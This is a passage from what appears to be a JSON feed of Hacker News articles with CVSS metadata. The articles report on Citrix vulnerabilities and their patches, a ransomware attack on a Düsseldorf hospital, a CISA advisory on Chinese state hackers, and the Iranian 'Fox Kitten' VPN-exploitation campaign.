keys for sensitive data. \n \n\n\n> \"Exploitation of this vulnerability allows hackers to obtain information that can be useful for breaching the perimeter, as the configuration file often stores domain account credentials for LDAP access,\" Mendov explained.\n\n \nTherefore, with access to the domain account, the remote attacker can target other external company resources, such as corporate mail, VPN, and web applications. \n \nWhat's worse, according to the researcher, is that the attacker who has managed to read the configuration file can access sensitive data, like database password (local PostgreSQL by default and a remote SQL Server database in some cases). \n \nHowever, since the database is stored inside the corporate perimeter and cannot be accessed from the outside, Mendov said, \"this attack vector can only be used in complex attacks, for example, with the involvement of an insider accomplice.\" \n \n\n\n> \"The latest rolling patches that need to be applied for versions 10.9, 10.10, 10.11, and 10.12 are available immediately,\" Citrix notes in a blog post.\n\n \n\"Any versions prior to 10.9.x must be upgraded to a supported version with the latest rolling patch. We recommend that you upgrade to 10.12 RP3, the latest supported version.\" \n \nSince Citrix products have recently emerged as one of the favorite targets for hackers after wild exploitation of [Citrix ADC, Gateway](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>) and [Sharefile vulnerabilitie](<https://thehackernews.com/2020/05/citrix-sharefile-vulnerability.html>)s, users are highly recommended to patch their systems to the latest versions of the software. \n \nTo be noted, the company has not yet revealed technical details of the vulnerabilities but has already pre-notified several major CERTs around the world and its customers on July 23. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-11T20:17:00", "type": "thn", "title": "Critical Flaws Affect Citrix Endpoint Management (XenMobile Servers)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8208", "CVE-2020-8209", "CVE-2020-8210", "CVE-2020-8211", "CVE-2020-8212"], "modified": "2020-08-11T20:17:38", "id": "THN:99BD0D6A04B18BBEE57AE05E0F351456", "href": "https://thehackernews.com/2020/08/citrix-endpoint-management.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:40:08", "description": "[](<https://thehackernews.com/images/-YFnAQDBLWlw/X2h9bFB25hI/AAAAAAAAAyE/jMecIXHH_sMcXYoQN-b9qTiy868SAREGgCLcBGAsYHQ/s728/ransomware-attack-on-hospital.jpg>)\n\n \nGerman authorities last week [disclosed](<https://apnews.com/cf8f8eee1adcec69bcc864f2c4308c94>) that a ransomware attack on the University Hospital of D\u00fcsseldorf (UKD) caused a failure of IT systems, resulting in the death of a woman who had to be sent to another hospital that was 20 miles away.\n\nThe incident marks the first recorded casualty as a consequence of cyberattacks on critical healthcare facilities, which has ramped up in recent months.\n\nThe attack, which exploited a Citrix ADC [CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) vulnerability to cripple the hospital systems on September 10, is said to have been \"misdirected\" in that it was originally intended for Heinrich Heine University, according to an extortion note left by the perpetrators.\n\nAfter law enforcement contacted the threat actors and informed them that they had encrypted a hospital, the operators behind the attack withdrew the ransom demand and provided the decryption key.\n\nThe case is currently being treated as a homicide, BBC News [reported](<https://www.bbc.com/news/technology-54204356>) over the weekend.\n\n### Unpatched Vulnerabilities Become Gateway to Ransomware Attacks\n\nAlthough several ransomware gangs said early on in the pandemic that they would not deliberately [target hospitals or medical facilities](<https://thehackernews.com/2016/11/hospital-cyber-attack-virus.html>), the recurring attacks [prompted the Interpol](<https://thehackernews.com/2020/04/cronavirus-hackers.html>) to issue a warning cautioning hospitals against ransomware attacks designed to lock them out of their critical systems in an attempt to extort payments.\n\nWeak credentials and VPN vulnerabilities have proven to be a blessing in disguise for threat actors to break into the internal networks of businesses and organizations, leading cybersecurity agencies in the U.S. and U.K. to publish [multiple](<https://thehackernews.com/2020/09/iranian-hackers-sanctioned.html>) [advisories](<https://www.ncsc.gov.uk/news/citrix-alert>) about active exploitation of the flaws.\n\n\"The [Federal Office for Information Security] is becoming increasingly aware of incidents in which Citrix systems were compromised before the security updates that were made available in January 2020 were installed,\" the German cybersecurity agency [said](<https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2020/UKDuesseldorf_170920.html>) in an alert last week.\n\n\"This means that attackers still have access to the system and the networks behind it even after the security gap has been closed. This possibility is currently increasingly being used to carry out attacks on affected organizations.\"\n\nThe development also coincides with a fresh [advisory](<https://www.ncsc.gov.uk/news/alert-targeted-ransomware-attacks-on-uk-education-sector>) from the U.K. National Cyber Security Centre (NCSC), which said it's observed an uptick in ransomware incidents targeting educational institutions at least since August 2020, while urging schools and universities to implement a \"defence in depth\" strategy to defend against such malware attacks.\n\nSome of the affected institutions included [Newcastle](<https://www.ncl.ac.uk/itservice/latest-news/>) and [Northumbria](<https://www.bbc.com/news/uk-england-tyne-53989404>) Universities, among others.\n\nCiting Remote Desktop Protocol (RDP), vulnerable software or hardware, and email phishing as the three most common infection vectors, the agency [recommended](<https://blog.emsisoft.com/en/36921/8-critical-steps-to-take-after-a-ransomware-attack-ransomware-response-guide-for-businesses/>) organizations to maintain up-to-date offline backups, adopt endpoint malware protection, secure RDP services using multi-factor authentication, and have an effective patch management strategy in place.\n\n### A Spike in Ransomware Infections\n\nIf anything, the ransomware crisis seems to be only getting worse. [Historical data](<https://sites.temple.edu/care/ci-rw-attacks/>) gathered by Temple University's CARE cybersecurity lab has shown that there have been a total of 687 publicly disclosed cases in the U.S. since 2013, with 2019 and 2020 alone accounting for more than half of all reported incidents (440).\n\nGovernment facilities, educational institutions, and healthcare organizations are the most frequently hit sectors, as per the analysis.\n\nAnd if 2020 is any indication, attacks against colleges and universities are showing no signs of slowing down.\n\n[](<https://thehackernews.com/images/-w1AP-pVwnR0/X2h7szFvYJI/AAAAAAAAAx4/R2M_VI5F2gUCV9Dq0WYitww8OQ_Uz2P1gCLcBGAsYHQ/s0/ransomware-malware-attack-on-universities.jpg>)\n\nAllan Liska, a threat intelligence analyst at Recorded Future, revealed there had been at least 80 publicly reported ransomware infections targeting the education sector to date this year, a massive jump from 43 ransomware attacks for the whole of 2019.\n\n\"Part of this change can be attributed to extortion sites, which force more victims to announce attacks,\" Liska said in a [tweet](<https://twitter.com/uuallan/status/1307684719593746432>). \"But, in general, ransomware actors have more interest in going after colleges and universities, and they are often easy targets.\"\n\nYou can read more about NCSC's mitigation measures [here](<https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks>). For more guidance on proofing businesses against ransomware attacks, head to US Cybersecurity Security and Infrastructure Security Agency's response guide [here](<https://us-cert.cisa.gov/security-publications/Ransomware>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-21T10:20:00", "type": "thn", "title": "A Patient Dies After Ransomware Attack Paralyzes German Hospital Systems", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-09-21T10:34:14", "id": "THN:EB3F9784BB2A52721953F128D1B3EAEC", "href": "https://thehackernews.com/2020/09/a-patient-dies-after-ransomware-attack.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:52", "description": "[](<https://thehackernews.com/images/-C3dSDFvJiqA/XiW3-49gerI/AAAAAAAABUA/ZZoejAM3OJUPzdMEoE_ef-Wyi7-BtaokACLcBGAsYHQ/s728-e100/Citrix-ADC-Gateway-hacking.jpg>)\n\nCitrix has finally started rolling out security patches for a critical [vulnerability in ADC and Gateway](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>) software that attackers started exploiting in the wild earlier this month after the company announced the existence of the issue without releasing any permanent fix. \n \nI wish I could say, \"better late than never,\" but since hackers don't waste time or miss any opportunity to exploit vulnerable systems, even a short window of time resulted in the compromise of hundreds of Internet exposed Citrix ADC and Gateway systems. \n \nAs explained earlier on The Hacker News, the vulnerability, tracked as **CVE-2019-19781**, is a path traversal issue that could allow unauthenticated remote attackers to execute arbitrary code on several versions of Citrix ADC and Gateway products, as well as on the two older versions of Citrix SD-WAN WANOP. \n \nRated critical with CVSS v3.1 base score 9.8, the issue was discovered by Mikhail Klyuchnikov, a security researcher at Positive Technologies, who responsibly reported it to Citrix in early December. \n \nThe vulnerability is actively being exploited in the wild since last week by dozens of hacking groups and individual attackers\u2014thanks to the public release of multiple [proofs-of-concept exploit code](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>). \n \nAccording to cyber security [experts](<https://twitter.com/0xDUDE/status/1218988914272362496?s=08>), as of today, there are over 15,000 publicly accessible vulnerable Citrix ADC and Gateway servers that attackers can exploit overnight to target potential enterprise networks. \n \nFireEye experts found an attack campaign where someone was compromising vulnerable Citrix ADCs to install a previously-unseen payload, dubbed \"[NotRobin](<https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html>),\" that scans systems for cryptominers and malware deployed by other potential attackers and removes them to maintain exclusive backdoor access. \n \n\n\n> [#Citrix](<https://twitter.com/hashtag/Citrix?src=hash&ref_src=twsrc%5Etfw>) released a free tool that analyzes available log sources and system forensic artifacts to identify whether an ADC appliance has potentially been compromised using CVE-2019-19781 security flaw. \n \nYou can find the tool and instructions here: <https://t.co/eewijzI2l9>[#infosec](<https://twitter.com/hashtag/infosec?src=hash&ref_src=twsrc%5Etfw>) <https://t.co/YKMwgPzmYE>\n> \n> \u2014 The Hacker News (@TheHackersNews) [January 22, 2020](<https://twitter.com/TheHackersNews/status/1219994163581554689?ref_src=twsrc%5Etfw>)\n\n \n \n\"This actor exploits NetScaler devices using CVE-2019-19781 to execute shell commands on the compromised device,\" FireEye said. \n \n\"FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators.\" \n \n\n\n## Citrix Patch Timeline: Stay Tuned for More Software Updates!\n\n \nLast week Citrix [announced a timeline](<https://twitter.com/TheHackersNews/status/1216239812249702401>), promising to release patched firmware updates for all supported versions of ADC and Gateway software before the end of January 2020, as shown in the chart. \n\n\n[](<https://thehackernews.com/images/-GFKY1pukwgU/XiWsvTjWRzI/AAAAAAAABT0/6B9St94Mff0LZyZw6yzG2oMefLn6gMgGACLcBGAsYHQ/s728-e100/Citrix-ADC-Gateway.jpg>)\n\nAs part of its [first batch of updates](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>), Citrix today released permanent patches for ADC versions 11.1 and 12.0 that also apply to \"ADC and Gateway VPX hosted on ESX, Hyper-V, KVM, XenServer, Azure, AWS, GCP or on a Citrix ADC Service Delivery Appliance (SDX).\" \n \n\"It is necessary to upgrade all Citrix ADC and Citrix Gateway 11.1 instances (MPX or VPX) to build 11.1.63.15 to install the security vulnerability fixes. It is necessary to upgrade all Citrix ADC and Citrix Gateway 12.0 instances (MPX or VPX) to build 12.0.63.13 to install the security vulnerability fixes,\" Citrix said in its advisory. \n \n\"We urge customers to install these fixes immediately,\" the company said. \"If you have not already done so, you need to apply the previously supplied mitigation to ADC versions 12.1, 13, 10.5, and SD-WAN WANOP versions 10.2.6 and 11.0.3 until the fixes for those versions are available.\" \n \nThe company also warned that customers with multiple ADC versions in production must apply the correct version of patch to each system separately. \n \nBesides installing available patches for supported versions and applying the recommended mitigation for unpatched systems, Citrix ADC administrators are also advised to monitor their device logs for attacks. \n \n**UPDATE \u2014 **Citrix on Thursday also released [second batch of permanent security patches](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>) for critical RCE vulnerability affecting ADC and Gateway versions 12.1 and 13.0.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-20T14:24:00", "type": "thn", "title": "Citrix Releases Patches for Critical ADC Vulnerability Under Active Attack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-24T07:05:37", "id": "THN:166AAAF7F04EF01C9E049500387BD1FD", "href": "https://thehackernews.com/2020/01/citrix-adc-patch-update.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:53", "description": "[](<https://thehackernews.com/images/-_9-nocA92TI/XhmeU1ZwSqI/AAAAAAAA2KQ/m0YexAlFrVQzvw1H2fYT8uoiFY33g82DQCLcBGAsYHQ/s728-e100/citrix-adc-gateway-vulnerability.jpg>)\n\nIt's now or never to prevent your enterprise servers running vulnerable versions of Citrix application delivery, load balancing, and Gateway solutions from getting hacked by remote attackers. \n \nWhy the urgency? Earlier today, multiple groups publicly released weaponized proof-of-concept exploit code [[1](<https://github.com/trustedsec/cve-2019-19781>), [2](<https://github.com/projectzeroindia/CVE-2019-19781>)] for a recently disclosed remote code execution vulnerability in Citrix's NetScaler ADC and Gateway products that could allow anyone to leverage them to take full control over potential enterprise targets. \n \nJust before the last Christmas and year-end holidays, Citrix [announced](<https://support.citrix.com/article/CTX267027>) that its Citrix Application Delivery Controller (ADC) and Citrix Gateway are vulnerable to a critical path traversal flaw (CVE-2019-19781) that could allow an unauthenticated attacker to perform arbitrary code execution on vulnerable servers. \n \nCitrix confirmed that the flaw affects all supported version of the software, including: \n \n\n\n * Citrix ADC and Citrix Gateway version 13.0 all supported builds\n * Citrix ADC and NetScaler Gateway version 12.1 all supported builds\n * Citrix ADC and NetScaler Gateway version 12.0 all supported builds\n * Citrix ADC and NetScaler Gateway version 11.1 all supported builds\n * Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds\n \nThe company made the disclose without releasing any security patches for vulnerable software; instead, [Citrix offered mitigation](<https://support.citrix.com/article/CTX267679>) to help administrators guard their servers against potential remote attacks\u2060\u2014and even at the time of writing, there's no patch available almost 23 days after disclosure. \n \n\n\n \nThrough the cyberattacks against vulnerable servers were [first seen in the wild](<https://twitter.com/sans_isc/status/1213228049011007489>) last week when hackers developed private exploit after reverse engineering mitigation information, the public release of weaponized PoC would now make it easier for low-skilled script kiddies to launch cyberattacks against vulnerable organizations. \n \nAccording to [Shodan](<https://beta.shodan.io/search/facet?query=http.waf%3A%22Citrix+NetScaler%22&facet=org>), at the time of writing, there are over 125,400 Citrix ADC or Gateway servers publicly accessible and can be exploited overnight if not taken offline or protected using available mitigation. \n \nWhile discussing [technical details](<https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/>) of the flaw in a blog post published yesterday, MDSsec also released a video demonstration of the exploit they developed but chose not to release it at this moment. \n \nBesides applying the recommended mitigation, Citrix ADC administrators are also advised to monitor their device logs for attacks.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-11T10:21:00", "type": "thn", "title": "PoC Exploits Released for Citrix ADC and Gateway RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T10:22:37", "id": "THN:6ED39786EE29904C7E93F7A0E35A39CB", "href": "https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:40:15", "description": "[](<https://thehackernews.com/images/-YFgpJhs_wIc/XwV5FgvOBvI/AAAAAAAAAi0/I-4cCa2dIG4SoMiPExrAAoVmPOMt6TE-ACLcBGAsYHQ/s728-e100/citrix-software.jpg>)\n\nCitrix yesterday issued new security patches for as many as [11 security flaws](<https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/>) that affect its Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WAN Optimization edition (WANOP) networking products. \n \nSuccessful exploitation of these critical flaws could let unauthenticated attackers perform code injection, information disclosure, and even denial-of-service attacks against the gateway or the [authentication virtual servers](<https://docs.citrix.com/en-us/netscaler/12/aaa-tm/authentication-virtual-server.html>). \n \nCitrix confirmed that the aforementioned issues do not impact other virtual servers, such as load balancing and content switching virtual servers. \n \nAmong the affected Citrix SD-WAN WANOP appliances include models 4000-WO, 4100-WO, 5000-WO, and 5100-WO. \n \nThe networking vendor also reiterated that these vulnerabilities were not connected to a previously fixed [zero-day NetScaler flaw](<https://thehackernews.com/2020/01/citrix-adc-patch-update.html>) (tagged as [CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)) that allowed bad actors to perform [arbitrary code execution](<https://support.citrix.com/article/CTX267027>) even without proper authentication. \n \nIt also said there's no evidence the newly disclosed flaws are exploited in the wild and that barriers to exploitation of these flaws are high. \n \n\"Of the 11 vulnerabilities, there are six possible attacks routes; five of those have barriers to exploitation,\" Citrix's CISO Fermin Serna said. \"Two of the remaining three possible attacks additionally require some form of existing access. That effectively means an external malicious actor would first need to gain unauthorized access to a vulnerable device to be able to conduct an attack.\" \n \nAlthough Citrix has refrained from publishing technical details of the vulnerabilities citing malicious actors' efforts to leverage the patches and the information to reverse engineer exploits, attacks on the management interface of the products could result in system compromise by an unauthenticated user, or through Cross-Site Scripting (XSS) on the management interface. \n \nAn adversary could also create a download link for a vulnerable device, which could result in the compromise of a local computer upon execution by an unauthenticated user on the management network. \n \nA second class of attacks concerns virtual IPs (VIPs), permitting an attacker to mount DoS against the Gateway or remotely scan the ports of the internal network. \n \n\"Attackers can only discern whether a TLS connection is possible with the port and cannot communicate further with the end devices,\" Citrix noted in its [advisory](<https://support.citrix.com/article/CTX276688>). \n \nIn addition, a separate vulnerability in Citrix Gateway Plug-in for Linux (CVE-2020-8199) would grant a local logged-on user of a Linux system to elevate their privileges to an administrator account on that system. \n \nAccording to a [Positive Technologies](<https://www.ptsecurity.com/ww-en/about/news/citrix-vulnerability-allows-criminals-to-hack-networks-of-80000-companies/>) report last December, the traffic management and secure remote access applications are used by over 80,000 organizations across the world. \n \nIt's recommended that download and apply the latest builds for Citrix ADC, Citrix Gateway, and Citrix SD-WAN WANOP appliances as soon as possible to mitigate risk and defend against potential attacks designed to exploit these flaws.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-08T07:43:00", "type": "thn", "title": "Citrix Issues Critical Patches for 11 New Flaws Affecting Multiple Products", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781", "CVE-2020-8199"], "modified": "2020-07-08T07:43:59", "id": "THN:DABC62CDC9B66962217D9A8ABA9DF060", "href": "https://thehackernews.com/2020/07/citrix-software-security-update.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:40:09", "description": "[](<https://thehackernews.com/images/-S81ZTpL3VW0/X2CFi_g7l0I/AAAAAAAAAww/bXeyXz56F-0V-P2VhHdoO5qJllbhNqfswCLcBGAsYHQ/s728-e100/hacking.jpg>)\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) issued a [new advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-258a>) on Monday about a wave of cyberattacks carried by Chinese nation-state actors targeting US government agencies and private entities. \n \n\"CISA has observed Chinese [Ministry of State Security]-affiliated cyber threat actors operating from the People's Republic of China using commercially available information sources and open-source exploitation tools to target US Government agency networks,\" the cybersecurity agency said. \n \nOver the past 12 months, the victims were identified through sources such as [Shodan](<https://www.shodan.io/>), the Common Vulnerabilities and Exposure ([CVE](<https://cve.mitre.org/>)) database, and the National Vulnerabilities Database (NVD), exploiting the public release of a vulnerability to pick vulnerable targets and further their motives. \n \nBy compromising legitimate websites and leveraging spear-phishing emails with malicious links pointing to attacker-owned sites in order to gain initial access, the Chinese threat actors have deployed open-source tools such as [Cobalt Strike](<https://www.cobaltstrike.com/>), [China Chopper Web Shell](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>), and [Mimikatz](<https://github.com/gentilkiwi/mimikatz>) credential stealer to extract sensitive information from infected systems. \n \nThat's not all. Taking advantage of the fact that organizations aren't quickly mitigating known software vulnerabilities, the state-sponsored attackers are \"targeting, scanning, and probing\" US government networks for unpatched flaws in F5 Networks Big-IP Traffic Management User Interface ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), Citrix VPN ([CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)), Pulse Secure VPN ([CVE-2019-11510](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)), and Microsoft Exchange Servers ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) to compromise targets. \n \n\"Cyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks,\" the agency said. \"While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.\" \n \nThis is not the first time Chinese actors have worked on behalf of China's MSS to infiltrate various industries across the US and other countries. \n \nIn July, the US Department of Justice (DoJ) [charged two Chinese nationals](<https://thehackernews.com/2020/07/chinese-hackers-covid19.html>) for their alleged involvement in a decade-long hacking spree spanning high tech manufacturing, industrial engineering, defense, educational, gaming software, and pharmaceutical sectors with an aim to steal trade secrets and confidential business information. \n \nBut it's not just China. Earlier this year, Israeli security firm ClearSky uncovered a cyberespionage campaign dubbed \"[Fox Kitten](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>)\" that targeted government, aviation, oil and gas, and security companies by exploiting unpatched VPN vulnerabilities to penetrate and steal information from target companies, prompting CISA to issue [multiple security alerts](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>) urging businesses to secure their VPN environments. \n \nStating that sophisticated cyber threat actors will continue to use open-source resources and tools to single out networks with low-security posture, CISA has recommended organizations to patch [routinely exploited vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>), and \"audit their configuration and patch management programs to ensure they can track and mitigate emerging threats.\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-15T09:14:00", "type": "thn", "title": "CISA: Chinese Hackers Exploiting Unpatched Devices to Target U.S. Agencies", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-09-15T09:14:30", "id": "THN:0E6CD47141AAF54903BD6C1F9BD96F44", "href": "https://thehackernews.com/2020/09/chinese-hackers-agencies.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:37", "description": "[](<https://thehackernews.com/images/-ZHqaACEm1IE/Xkv7mFYNdVI/AAAAAAAAABQ/u9DIxl0wBik0Tdeo0zYMA5h4Eycz0ntogCLcBGAsYHQ/s728-e100/iranian-apt-hacking-group.jpg>)\n\nA new report published by cybersecurity researchers has unveiled evidence of Iranian state-sponsored hackers targeting dozens of companies and organizations in Israel and around the world over the past three years. \n \nDubbed \"**Fox Kitten**,\" the cyber-espionage campaign is said to have been directed at companies from the IT, telecommunication, oil and gas, aviation, government, and security sectors. \n \n\"We estimate the campaign revealed in this report to be among Iran's most continuous and comprehensive campaigns revealed until now,\" ClearSky [researchers said](<https://www.clearskysec.com/fox-kitten/>). \n \n\"The revealed campaign was used as a reconnaissance infrastructure; however, it can also be used as a platform for spreading and activating destructive malware such as ZeroCleare and Dustman.\" \n \nTying the activities to threat groups APT33, APT34, and APT39, the offensive \u2014 conducted using a mix of open source and self-developed tools \u2014 also facilitated the groups to steal sensitive information and employ supply-chain attacks to target additional organizations, the researchers said. \n \n\n\n## Exploiting VPN Flaws to Compromise Enterprise Networks\n\n \nThe primary attack vector employed by the Iranian groups has been the exploitation of unpatched VPN vulnerabilities to penetrate and steal information from target companies. The prominent VPN systems exploited this way included Pulse Secure Connect 